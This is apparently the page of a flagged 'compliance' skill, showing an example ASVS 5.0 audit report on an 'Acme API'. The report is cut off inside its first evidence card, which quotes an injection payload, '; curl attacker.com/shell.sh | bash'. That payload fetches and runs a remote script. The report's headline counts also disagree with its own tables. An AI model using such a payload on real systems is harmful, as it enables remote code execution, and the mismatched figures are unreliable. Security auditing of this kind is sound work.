Skip to content

ShulkwiSEC/bb-huge / skills/curated/compliance

compliance

Flagged

Full ASVS 5.0 compliance assessment against a codebase and/or architecture diagrams. Reads all 346 controls from the companion CSV, performs targeted code analysis per control, and produces a complete matrix marked COMPLIANT / NON_COMPLIANT / NOT_RELEVANT — with per-control reasoning and evidence (code snippets, file:line references, diagram observations). Outputs a reviewed CSV matrix and a self-contained HTML evidence report.

example-output/asvs-report-2026-04-29.html

View on GitHub
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ASVS 5.0 Compliance Report — Acme API</title>
<style>
  *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
  body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif; background: #f5f6fa; color: #1a1a2e; font-size: 14px; line-height: 1.6; }
  a { color: #4361ee; text-decoration: none; }
  a:hover { text-decoration: underline; }
  code { font-family: "SF Mono", "Fira Code", Consolas, monospace; font-size: 12px; background: #f1f5f9; padding: 1px 5px; border-radius: 3px; }

  /* Header */
  .report-header { background: linear-gradient(135deg, #1a1a2e 0%, #16213e 100%); color: #fff; padding: 32px 40px; }
  .report-header h1 { font-size: 22px; font-weight: 700; margin-bottom: 4px; }
  .report-header .sub { font-size: 15px; color: #94a3b8; margin-top: 4px; }
  .report-header .meta { font-size: 12px; color: #94a3b8; display: flex; gap: 24px; margin-top: 12px; flex-wrap: wrap; }
  .tag { background: rgba(255,255,255,0.12); border-radius: 4px; padding: 2px 8px; font-size: 11px; font-weight: 600; letter-spacing: 0.5px; }

  /* Stats bar */
  .stats-bar { display: flex; background: #fff; border-bottom: 1px solid #e2e8f0; }
  .stat-cell { flex: 1; padding: 18px 20px; text-align: center; border-right: 1px solid #e2e8f0; }
  .stat-cell:last-child { border-right: none; }
  .stat-number { font-size: 28px; font-weight: 800; display: block; }
  .stat-label { font-size: 11px; color: #64748b; text-transform: uppercase; letter-spacing: 0.8px; margin-top: 2px; }
  .stat-cell.compliant .stat-number { color: #16a34a; }
  .stat-cell.noncompliant .stat-number { color: #dc2626; }
  .stat-cell.notrelevant .stat-number { color: #64748b; }
  .stat-cell.total .stat-number { color: #1a1a2e; }
  .stat-cell.score .stat-number { color: #f59e0b; }

  /* Navigation */
  .chapter-nav { background: #fff; border-bottom: 1px solid #e2e8f0; padding: 12px 40px; display: flex; flex-wrap: wrap; gap: 8px; }
  .chapter-nav a { font-size: 12px; background: #f1f5f9; color: #475569; border-radius: 20px; padding: 4px 12px; font-weight: 500; transition: all 0.15s; white-space: nowrap; }
  .chapter-nav a:hover { background: #4361ee; color: #fff; text-decoration: none; }
  .chapter-nav a.ev-link { background: #e0f2fe; color: #0369a1; }

  /* Filter bar */
  .filter-bar { padding: 14px 40px; display: flex; gap: 8px; align-items: center; background: #f5f6fa; border-bottom: 1px solid #e2e8f0; }
  .filter-label { font-size: 12px; color: #64748b; font-weight: 600; text-transform: uppercase; letter-spacing: 0.5px; margin-right: 4px; }
  .filter-btn { border: 1px solid #e2e8f0; background: #fff; border-radius: 6px; padding: 6px 14px; font-size: 12px; cursor: pointer; font-weight: 600; transition: all 0.15s; }
  .filter-btn:hover { border-color: #4361ee; color: #4361ee; }
  .filter-btn.active { background: #4361ee; color: #fff; border-color: #4361ee; }
  .filter-btn.f-noncompliant.active { background: #dc2626; border-color: #dc2626; }
  .filter-btn.f-compliant.active { background: #16a34a; border-color: #16a34a; }
  .filter-btn.f-notrelevant.active { background: #64748b; border-color: #64748b; }

  /* Main content */
  .main { padding: 32px 40px; max-width: 1400px; }

  /* Chapter section */
  .chapter-section { margin-bottom: 40px; }
  .chapter-heading { display: flex; align-items: center; gap: 12px; margin-bottom: 14px; padding-bottom: 10px; border-bottom: 2px solid #e2e8f0; }
  .chapter-id-badge { background: #1a1a2e; color: #fff; border-radius: 6px; padding: 3px 10px; font-size: 12px; font-weight: 700; font-family: monospace; }
  .chapter-title { font-size: 17px; font-weight: 700; color: #1a1a2e; }
  .chapter-count { margin-left: auto; font-size: 12px; color: #64748b; }

  /* Control table */
  .control-table { width: 100%; border-collapse: collapse; background: #fff; border-radius: 10px; overflow: hidden; box-shadow: 0 1px 3px rgba(0,0,0,0.07); }
  .control-table th { background: #f8fafc; color: #475569; font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.6px; padding: 10px 14px; text-align: left; border-bottom: 1px solid #e2e8f0; }
  .control-table td { padding: 10px 14px; border-bottom: 1px solid #f1f5f9; vertical-align: top; }
  .control-table tr:last-child td { border-bottom: none; }
  .control-table tr:hover td { background: #fafbff; }
  .control-table tr.row-hidden { display: none; }
  .control-table a.row-anchor { color: inherit; }
  .control-table a.row-anchor:hover { text-decoration: none; }

  .req-id { font-family: "SF Mono", Consolas, monospace; font-size: 12px; font-weight: 700; color: #1a1a2e; white-space: nowrap; }
  .level-badge { display: inline-block; border-radius: 4px; padding: 1px 7px; font-size: 10px; font-weight: 700; white-space: nowrap; }
  .level-1 { background: #dbeafe; color: #1d4ed8; }
  .level-2 { background: #e0f2fe; color: #0369a1; }
  .level-3 { background: #ede9fe; color: #6d28d9; }
  .desc-cell { color: #374151; font-size: 13px; max-width: 480px; }

  .status-badge { display: inline-flex; align-items: center; gap: 5px; border-radius: 5px; padding: 3px 10px; font-size: 11px; font-weight: 700; white-space: nowrap; }
  .status-COMPLIANT    { background: #dcfce7; color: #15803d; }
  .status-NON_COMPLIANT { background: #fee2e2; color: #b91c1c; }
  .status-NOT_RELEVANT  { background: #f1f5f9; color: #64748b; }
  .status-NOT_ASSESSED  { background: #fef9c3; color: #854d0e; }

  .dot { width: 7px; height: 7px; border-radius: 50%; display: inline-block; flex-shrink: 0; }
  .dot-COMPLIANT     { background: #16a34a; }
  .dot-NON_COMPLIANT { background: #dc2626; }
  .dot-NOT_RELEVANT  { background: #94a3b8; }
  .dot-NOT_ASSESSED  { background: #ca8a04; }

  /* Evidence sections */
  .evidence-group { margin-top: 56px; }
  .evidence-group-heading { font-size: 18px; font-weight: 800; color: #1a1a2e; margin-bottom: 20px; display: flex; align-items: center; gap: 10px; padding-bottom: 12px; }
  .evidence-group-heading.ev-noncompliant { border-bottom: 2px solid #fca5a5; }
  .evidence-group-heading.ev-compliant    { border-bottom: 2px solid #86efac; }
  .evidence-group-heading.ev-notrelevant  { border-bottom: 2px solid #cbd5e1; }
  .badge-count { border-radius: 20px; padding: 2px 10px; font-size: 13px; font-weight: 700; }
  .badge-count.nc { background: #dc2626; color: #fff; }
  .badge-count.co { background: #16a34a; color: #fff; }
  .badge-count.nr { background: #64748b; color: #fff; }

  /* Evidence card */
  .evidence-card { background: #fff; border-radius: 12px; box-shadow: 0 1px 4px rgba(0,0,0,0.08); margin-bottom: 16px; overflow: hidden; }
  .evidence-card.ev-nc { border-left: 4px solid #dc2626; }
  .evidence-card.ev-co { border-left: 4px solid #16a34a; }
  .evidence-card.ev-nr { border-left: 4px solid #94a3b8; }
  .evidence-card.card-hidden { display: none; }

  .card-header { display: flex; align-items: flex-start; gap: 12px; padding: 14px 20px; border-bottom: 1px solid #f1f5f9; flex-wrap: wrap; }
  .card-req-id { font-family: monospace; font-size: 14px; font-weight: 800; color: #1a1a2e; }
  .card-section-label-sm { font-size: 12px; color: #64748b; margin-top: 2px; }
  .card-badges { display: flex; gap: 6px; align-items: center; margin-left: auto; flex-wrap: wrap; }
  .card-body { padding: 14px 20px; }
  .card-req-text { font-size: 13px; color: #374151; background: #f8fafc; border-radius: 6px; padding: 10px 14px; margin-bottom: 12px; border-left: 3px solid #e2e8f0; font-style: italic; line-height: 1.7; }
  .card-label { font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.7px; color: #64748b; margin-bottom: 5px; margin-top: 12px; }
  .card-reasoning { font-size: 13px; color: #1a1a2e; line-height: 1.7; }

  pre.evidence-block { background: #1e1e1e; color: #d4d4d4; border-radius: 8px; padding: 14px 18px; font-size: 12px; line-height: 1.8; overflow-x: auto; margin-top: 6px; font-family: "SF Mono","Fira Code",Consolas,monospace; }
  pre.evidence-block .file-path { color: #569cd6; font-weight: 600; display: block; margin-bottom: 6px; }
  pre.evidence-block .bad  { color: #f48771; background: rgba(244,135,113,0.15); border-radius: 2px; padding: 0 3px; }
  pre.evidence-block .ok   { color: #4ec9b0; background: rgba(78,201,176,0.12); border-radius: 2px; padding: 0 3px; }
  pre.evidence-block .note { color: #9ca3af; font-style: italic; }

  .remediation-box { background: #f0fdf4; border: 1px solid #bbf7d0; border-radius: 6px; padding: 10px 14px; font-size: 13px; color: #14532d; margin-top: 6px; line-height: 1.7; }
  .rationale-box   { background: #f8fafc; border: 1px solid #e2e8f0; border-radius: 6px; padding: 10px 14px; font-size: 13px; color: #475569; margin-top: 6px; line-height: 1.7; }

  /* Divider */
  .section-divider { border: none; border-top: 1px solid #e2e8f0; margin: 48px 0 0; }

  /* Footer */
  .report-footer { background: #1a1a2e; color: #64748b; text-align: center; padding: 20px; font-size: 12px; margin-top: 48px; }
  .report-footer strong { color: #94a3b8; }
</style>
</head>
<body>

<!-- HEADER -->
<div class="report-header">
  <h1>ASVS 5.0 Compliance Report</h1>
  <div class="sub">Acme API — Node.js / Express / PostgreSQL</div>
  <div class="meta">
    <span><strong>Codebase:</strong> /srv/acme-api</span>
    <span><strong>Assessor:</strong> Claude (compliance skill)</span>
    <span><strong>Date:</strong> 2026-04-29</span>
    <span><strong>Depth:</strong> <span class="tag">STANDARD</span></span>
    <span><strong>ASVS:</strong> <span class="tag">5.0 — 345 controls</span></span>
    <span><strong>Diagrams:</strong> architecture-diagram.png, nginx.conf</span>
  </div>
</div>

<!-- STATS BAR -->
<div class="stats-bar">
  <div class="stat-cell total"><span class="stat-number">35</span><div class="stat-label">Controls Assessed</div></div>
  <div class="stat-cell compliant"><span class="stat-number">20</span><div class="stat-label">Compliant</div></div>
  <div class="stat-cell noncompliant"><span class="stat-number">11</span><div class="stat-label">Non-Compliant</div></div>
  <div class="stat-cell notrelevant"><span class="stat-number">4</span><div class="stat-label">Not Relevant</div></div>
  <div class="stat-cell score"><span class="stat-number">65%</span><div class="stat-label">Compliance Score</div></div>
</div>

<!-- CHAPTER NAV -->
<div class="chapter-nav">
  <a href="#V1">V1 · Encoding</a>
  <a href="#V2">V2 · Validation</a>
  <a href="#V5">V5 · File Handling</a>
  <a href="#V6">V6 · Authentication</a>
  <a href="#V7">V7 · Sessions</a>
  <a href="#V8">V8 · Authorization</a>
  <a href="#V9">V9 · Tokens</a>
  <a href="#V10">V10 · OAuth</a>
  <a href="#V11">V11 · Cryptography</a>
  <a href="#V12">V12 · TLS</a>
  <a href="#V13">V13 · Config</a>
  <a href="#V14">V14 · Data</a>
  <a href="#V16">V16 · Logging</a>
  <a href="#ev-nc" class="ev-link">✗ Non-Compliant (11)</a>
  <a href="#ev-co" class="ev-link">✓ Compliant (20)</a>
  <a href="#ev-nr" class="ev-link">— Not Relevant (4)</a>
</div>

<!-- FILTER BAR -->
<div class="filter-bar">
  <span class="filter-label">Show:</span>
  <button class="filter-btn active"          onclick="filterAll(this)">All</button>
  <button class="filter-btn f-noncompliant"  onclick="filterStatus('NON_COMPLIANT',this)">✗ Non-Compliant</button>
  <button class="filter-btn f-compliant"     onclick="filterStatus('COMPLIANT',this)">✓ Compliant</button>
  <button class="filter-btn f-notrelevant"   onclick="filterStatus('NOT_RELEVANT',this)">— Not Relevant</button>
</div>

<!-- MAIN -->
<div class="main">

<!-- ═══════════════════ CHAPTER TABLES ═══════════════════ -->

<div class="chapter-section" id="V1">
  <div class="chapter-heading">
    <span class="chapter-id-badge">V1</span>
    <span class="chapter-title">Encoding and Sanitization</span>
    <span class="chapter-count">4 assessed · 2 compliant · 2 non-compliant</span>
  </div>
  <table class="control-table">
    <thead><tr><th>ID</th><th>L</th><th>Requirement</th><th>Status</th></tr></thead>
    <tbody>
      <tr data-status="COMPLIANT">
        <td class="req-id"><a href="#card-V1.2.1">V1.2.1</a></td>
        <td><span class="level-badge level-1">L1</span></td>
        <td class="desc-cell">Verify that output encoding for an HTTP response, HTML document, or XML document is relevant for the context required…</td>
        <td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td>
      </tr>
      <tr data-status="COMPLIANT">
        <td class="req-id"><a href="#card-V1.2.4">V1.2.4</a></td>
        <td><span class="level-badge level-1">L1</span></td>
        <td class="desc-cell">Verify that data selection or database queries use parameterized queries, ORMs, entity frameworks…</td>
        <td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td>
      </tr>
      <tr data-status="NON_COMPLIANT">
        <td class="req-id"><a href="#card-V1.2.5">V1.2.5</a></td>
        <td><span class="level-badge level-1">L1</span></td>
        <td class="desc-cell">Verify that the application protects against OS command injection…</td>
        <td><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></td>
      </tr>
      <tr data-status="NON_COMPLIANT">
        <td class="req-id"><a href="#card-V1.3.2">V1.3.2</a></td>
        <td><span class="level-badge level-1">L1</span></td>
        <td class="desc-cell">Verify that the application avoids the use of eval() or other dynamic code execution features…</td>
        <td><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></td>
      </tr>
    </tbody>
  </table>
</div>

<div class="chapter-section" id="V2">
  <div class="chapter-heading">
    <span class="chapter-id-badge">V2</span>
    <span class="chapter-title">Validation and Business Logic</span>
    <span class="chapter-count">1 assessed · 1 non-compliant</span>
  </div>
  <table class="control-table">
    <thead><tr><th>ID</th><th>L</th><th>Requirement</th><th>Status</th></tr></thead>
    <tbody>
      <tr data-status="NON_COMPLIANT">
        <td class="req-id"><a href="#card-V2.1.1">V2.1.1</a></td>
        <td><span class="level-badge level-1">L1</span></td>
        <td class="desc-cell">Verify that the application's documentation defines input validation rules…</td>
        <td><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></td>
      </tr>
    </tbody>
  </table>
</div>

<div class="chapter-section" id="V5">
  <div class="chapter-heading">
    <span class="chapter-id-badge">V5</span>
    <span class="chapter-title">File Handling</span>
    <span class="chapter-count">3 assessed · 1 compliant · 1 non-compliant · 1 not relevant</span>
  </div>
  <table class="control-table">
    <thead><tr><th>ID</th><th>L</th><th>Requirement</th><th>Status</th></tr></thead>
    <tbody>
      <tr data-status="COMPLIANT">
        <td class="req-id"><a href="#card-V5.2.1">V5.2.1</a></td>
        <td><span class="level-badge level-1">L1</span></td>
        <td class="desc-cell">Verify that the application will only accept files of a size which it can process without causing a denial of service attack.</td>
        <td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td>
      </tr>
      <tr data-status="NON_COMPLIANT">
        <td class="req-id"><a href="#card-V5.2.2">V5.2.2</a></td>
        <td><span class="level-badge level-1">L1</span></td>
        <td class="desc-cell">Verify that when the application accepts a file it checks if the file extension matches an expected extension and validates contents…</td>
        <td><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></td>
      </tr>
      <tr data-status="NOT_RELEVANT">
        <td class="req-id"><a href="#card-V5.2.3">V5.2.3</a></td>
        <td><span class="level-badge level-2">L2</span></td>
        <td class="desc-cell">Verify that the application checks compressed files against maximum allowed uncompressed size…</td>
        <td><span class="status-badge status-NOT_RELEVANT"><span class="dot dot-NOT_RELEVANT"></span>NOT_RELEVANT</span></td>
      </tr>
    </tbody>
  </table>
</div>

<div class="chapter-section" id="V6">
  <div class="chapter-heading">
    <span class="chapter-id-badge">V6</span>
    <span class="chapter-title">Authentication</span>
    <span class="chapter-count">7 assessed · 6 compliant · 1 non-compliant</span>
  </div>
  <table class="control-table">
    <thead><tr><th>ID</th><th>L</th><th>Requirement</th><th>Status</th></tr></thead>
    <tbody>
      <tr data-status="COMPLIANT"><td class="req-id"><a href="#card-V6.1.1">V6.1.1</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that application documentation defines how rate limiting, anti-automation, and adaptive response controls are used…</td><td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td></tr>
      <tr data-status="COMPLIANT"><td class="req-id"><a href="#card-V6.2.1">V6.2.1</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that user set passwords are at least 8 characters in length…</td><td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td></tr>
      <tr data-status="COMPLIANT"><td class="req-id"><a href="#card-V6.2.2">V6.2.2</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that users can change their password.</td><td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td></tr>
      <tr data-status="COMPLIANT"><td class="req-id"><a href="#card-V6.2.3">V6.2.3</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that password change functionality requires the user's current and new password.</td><td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td></tr>
      <tr data-status="NON_COMPLIANT"><td class="req-id"><a href="#card-V6.2.4">V6.2.4</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that passwords are checked against the top 3000 common passwords…</td><td><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></td></tr>
      <tr data-status="COMPLIANT"><td class="req-id"><a href="#card-V6.3.1">V6.3.1</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that controls to prevent credential stuffing and brute force are implemented…</td><td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td></tr>
      <tr data-status="COMPLIANT"><td class="req-id"><a href="#card-V6.3.2">V6.3.2</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that default user accounts (e.g., "root", "admin") are not present or are disabled.</td><td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td></tr>
    </tbody>
  </table>
</div>

<div class="chapter-section" id="V7">
  <div class="chapter-heading">
    <span class="chapter-id-badge">V7</span>
    <span class="chapter-title">Session Management</span>
    <span class="chapter-count">3 assessed · 2 compliant · 1 non-compliant</span>
  </div>
  <table class="control-table">
    <thead><tr><th>ID</th><th>L</th><th>Requirement</th><th>Status</th></tr></thead>
    <tbody>
      <tr data-status="COMPLIANT"><td class="req-id"><a href="#card-V7.2.1">V7.2.1</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that the application performs all session token verification using a trusted backend service.</td><td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td></tr>
      <tr data-status="COMPLIANT"><td class="req-id"><a href="#card-V7.2.2">V7.2.2</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that the application uses self-contained or reference tokens that are dynamically generated…</td><td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td></tr>
      <tr data-status="NON_COMPLIANT"><td class="req-id"><a href="#card-V7.3.1">V7.3.1</a></td><td><span class="level-badge level-2">L2</span></td><td class="desc-cell">Verify that there is an inactivity timeout such that re-authentication is enforced…</td><td><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></td></tr>
    </tbody>
  </table>
</div>

<div class="chapter-section" id="V8">
  <div class="chapter-heading">
    <span class="chapter-id-badge">V8</span>
    <span class="chapter-title">Authorization</span>
    <span class="chapter-count">3 assessed · 1 compliant · 2 non-compliant</span>
  </div>
  <table class="control-table">
    <thead><tr><th>ID</th><th>L</th><th>Requirement</th><th>Status</th></tr></thead>
    <tbody>
      <tr data-status="NON_COMPLIANT"><td class="req-id"><a href="#card-V8.1.1">V8.1.1</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that authorization documentation defines rules for restricting function-level and data-specific access…</td><td><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></td></tr>
      <tr data-status="NON_COMPLIANT"><td class="req-id"><a href="#card-V8.2.1">V8.2.1</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that the application ensures that function-level access is restricted to consumers with explicit permissions.</td><td><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></td></tr>
      <tr data-status="COMPLIANT"><td class="req-id"><a href="#card-V8.3.1">V8.3.1</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that the application enforces authorization rules at a trusted service layer…</td><td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td></tr>
    </tbody>
  </table>
</div>

<div class="chapter-section" id="V9">
  <div class="chapter-heading">
    <span class="chapter-id-badge">V9</span>
    <span class="chapter-title">Self-contained Tokens</span>
    <span class="chapter-count">3 assessed · 2 compliant · 1 non-compliant</span>
  </div>
  <table class="control-table">
    <thead><tr><th>ID</th><th>L</th><th>Requirement</th><th>Status</th></tr></thead>
    <tbody>
      <tr data-status="COMPLIANT"><td class="req-id"><a href="#card-V9.1.1">V9.1.1</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that self-contained tokens are validated using their digital signature or MAC before accepting their contents.</td><td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td></tr>
      <tr data-status="NON_COMPLIANT"><td class="req-id"><a href="#card-V9.1.2">V9.1.2</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that only algorithms on an allowlist can be used… must not include the 'None' algorithm.</td><td><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></td></tr>
      <tr data-status="COMPLIANT"><td class="req-id"><a href="#card-V9.1.3">V9.1.3</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that key material is from trusted pre-configured sources… headers such as 'jku', 'x5u', and 'jwk' must be validated.</td><td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td></tr>
    </tbody>
  </table>
</div>

<div class="chapter-section" id="V10">
  <div class="chapter-heading">
    <span class="chapter-id-badge">V10</span>
    <span class="chapter-title">OAuth and OIDC</span>
    <span class="chapter-count">1 assessed · 1 not relevant</span>
  </div>
  <table class="control-table">
    <thead><tr><th>ID</th><th>L</th><th>Requirement</th><th>Status</th></tr></thead>
    <tbody>
      <tr data-status="NOT_RELEVANT"><td class="req-id"><a href="#card-V10.1.1">V10.1.1</a></td><td><span class="level-badge level-2">L2</span></td><td class="desc-cell">Verify that tokens are only sent to components that strictly need them…</td><td><span class="status-badge status-NOT_RELEVANT"><span class="dot dot-NOT_RELEVANT"></span>NOT_RELEVANT</span></td></tr>
    </tbody>
  </table>
</div>

<div class="chapter-section" id="V11">
  <div class="chapter-heading">
    <span class="chapter-id-badge">V11</span>
    <span class="chapter-title">Cryptography</span>
    <span class="chapter-count">3 assessed · 2 compliant · 1 non-compliant</span>
  </div>
  <table class="control-table">
    <thead><tr><th>ID</th><th>L</th><th>Requirement</th><th>Status</th></tr></thead>
    <tbody>
      <tr data-status="COMPLIANT"><td class="req-id"><a href="#card-V11.2.1">V11.2.1</a></td><td><span class="level-badge level-2">L2</span></td><td class="desc-cell">Verify that industry-validated implementations are used for cryptographic operations.</td><td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td></tr>
      <tr data-status="NON_COMPLIANT"><td class="req-id"><a href="#card-V11.2.2">V11.2.2</a></td><td><span class="level-badge level-2">L2</span></td><td class="desc-cell">Verify that the application is designed with crypto agility…</td><td><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></td></tr>
      <tr data-status="COMPLIANT"><td class="req-id"><a href="#card-V11.3.1">V11.3.1</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that insecure block modes (e.g., ECB) and weak padding schemes are not used.</td><td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td></tr>
    </tbody>
  </table>
</div>

<div class="chapter-section" id="V12">
  <div class="chapter-heading">
    <span class="chapter-id-badge">V12</span>
    <span class="chapter-title">Secure Communication</span>
    <span class="chapter-count">2 assessed · 2 compliant</span>
  </div>
  <table class="control-table">
    <thead><tr><th>ID</th><th>L</th><th>Requirement</th><th>Status</th></tr></thead>
    <tbody>
      <tr data-status="COMPLIANT"><td class="req-id"><a href="#card-V12.1.1">V12.1.1</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that only the latest recommended versions of the TLS protocol are enabled (TLS 1.2 and TLS 1.3)…</td><td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td></tr>
      <tr data-status="COMPLIANT"><td class="req-id"><a href="#card-V12.1.2">V12.1.2</a></td><td><span class="level-badge level-2">L2</span></td><td class="desc-cell">Verify that only recommended cipher suites are enabled, with the strongest set as preferred…</td><td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td></tr>
    </tbody>
  </table>
</div>

<div class="chapter-section" id="V13">
  <div class="chapter-heading">
    <span class="chapter-id-badge">V13</span>
    <span class="chapter-title">Configuration</span>
    <span class="chapter-count">2 assessed · 1 compliant · 1 non-compliant</span>
  </div>
  <table class="control-table">
    <thead><tr><th>ID</th><th>L</th><th>Requirement</th><th>Status</th></tr></thead>
    <tbody>
      <tr data-status="NON_COMPLIANT"><td class="req-id"><a href="#card-V13.2.1">V13.2.1</a></td><td><span class="level-badge level-2">L2</span></td><td class="desc-cell">Verify that backend component communications use individual service accounts, short-term tokens, or certificate-based auth…</td><td><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></td></tr>
      <tr data-status="COMPLIANT"><td class="req-id"><a href="#card-V13.2.2">V13.2.2</a></td><td><span class="level-badge level-2">L2</span></td><td class="desc-cell">Verify that backend component communications are performed with accounts assigned the least necessary privileges.</td><td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td></tr>
    </tbody>
  </table>
</div>

<div class="chapter-section" id="V14">
  <div class="chapter-heading">
    <span class="chapter-id-badge">V14</span>
    <span class="chapter-title">Data Protection</span>
    <span class="chapter-count">2 assessed · 1 non-compliant · 1 not relevant</span>
  </div>
  <table class="control-table">
    <thead><tr><th>ID</th><th>L</th><th>Requirement</th><th>Status</th></tr></thead>
    <tbody>
      <tr data-status="NON_COMPLIANT"><td class="req-id"><a href="#card-V14.2.1">V14.2.1</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that sensitive data is only sent to the server in the HTTP body or headers, not in the URL or query string…</td><td><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></td></tr>
      <tr data-status="NOT_RELEVANT"><td class="req-id"><a href="#card-V14.3.1">V14.3.1</a></td><td><span class="level-badge level-1">L1</span></td><td class="desc-cell">Verify that authenticated data is cleared from client storage, such as the browser DOM, after the session is terminated…</td><td><span class="status-badge status-NOT_RELEVANT"><span class="dot dot-NOT_RELEVANT"></span>NOT_RELEVANT</span></td></tr>
    </tbody>
  </table>
</div>

<div class="chapter-section" id="V16">
  <div class="chapter-heading">
    <span class="chapter-id-badge">V16</span>
    <span class="chapter-title">Security Logging and Error Handling</span>
    <span class="chapter-count">2 assessed · 1 compliant · 1 non-compliant</span>
  </div>
  <table class="control-table">
    <thead><tr><th>ID</th><th>L</th><th>Requirement</th><th>Status</th></tr></thead>
    <tbody>
      <tr data-status="NON_COMPLIANT"><td class="req-id"><a href="#card-V16.2.1">V16.2.1</a></td><td><span class="level-badge level-2">L2</span></td><td class="desc-cell">Verify that each log entry includes necessary metadata (when, where, who, what) for detailed incident investigation…</td><td><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></td></tr>
      <tr data-status="COMPLIANT"><td class="req-id"><a href="#card-V16.3.1">V16.3.1</a></td><td><span class="level-badge level-2">L2</span></td><td class="desc-cell">Verify that all authentication operations are logged, including successful and unsuccessful attempts…</td><td><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></td></tr>
    </tbody>
  </table>
</div>

<hr class="section-divider">

<!-- ═══════════════════ NON-COMPLIANT EVIDENCE ═══════════════════ -->
<div class="evidence-group" id="ev-nc">
  <div class="evidence-group-heading ev-noncompliant">Non-Compliant Controls <span class="badge-count nc">11</span></div>

  <div class="evidence-card ev-nc" id="card-V1.2.5" data-status="NON_COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V1.2.5</div><div class="card-section-label-sm">V1 · Encoding → V1.2 Injection Prevention</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that the application protects against OS command injection and that operating system calls use parameterized OS queries or use contextual command line output encoding.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">User-controlled <code>filename</code> query parameter is interpolated directly into a shell string passed to <code>exec()</code>. No sanitization or allowlisting is applied. An attacker can inject arbitrary OS commands (e.g. <code>; curl attacker.com/shell.sh | bash</code>).</div>
